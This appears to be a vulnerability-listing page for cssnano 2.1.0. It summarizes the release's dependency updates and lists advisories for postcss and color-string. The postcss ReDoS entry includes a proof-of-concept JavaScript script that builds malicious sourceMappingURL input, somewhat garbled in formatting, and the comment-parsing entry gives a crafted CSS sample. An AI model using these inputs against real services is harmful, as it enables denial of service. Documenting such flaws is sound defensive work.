Cssnano version 2.1.0 is a refinement of the 2.0.3 release, building upon its foundation as a modular minifier for CSS, powered by the PostCSS ecosystem. Both versions share the same core philosophy of optimizing CSS code for production environments, reducing file sizes and improving website performance. Developers familiar with cssnano will find the upgrade straightforward, as the fundamental usage remains consistent.
The key differences lie in the updated dependencies. In version 2.1.0, the postcss dependency is updated from ^4.1.14 to ^4.1.16 and postcss-font-family from ^1.1.0 to ^1.1.1, and postcss-normalize-url from ^2.0.3 to ^2.1.0. These dependency updates often bring bug fixes, performance improvements, and new features within the respective PostCSS plugins. While these changes are generally backward-compatible, developers are encouraged to review the changelogs of these individual plugins for detailed information on the specific updates. These updates could include better handling of edge cases, improved performance when processing large stylesheets, or new optimization strategies.
Developers should consider upgrading to cssnano 2.1.0 to benefit from these dependency improvements. The minor version bump suggests that the update primarily focuses on enhancements and bug fixes rather than introducing breaking changes, making it a relatively safe and worthwhile upgrade for most projects already using cssnano. When upgrading, be sure to carefully test your CSS to confirm the minification process works as expected and doesn't inadvertently introduce any regressions.
All the vulnerabilities related to the version 2.1.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.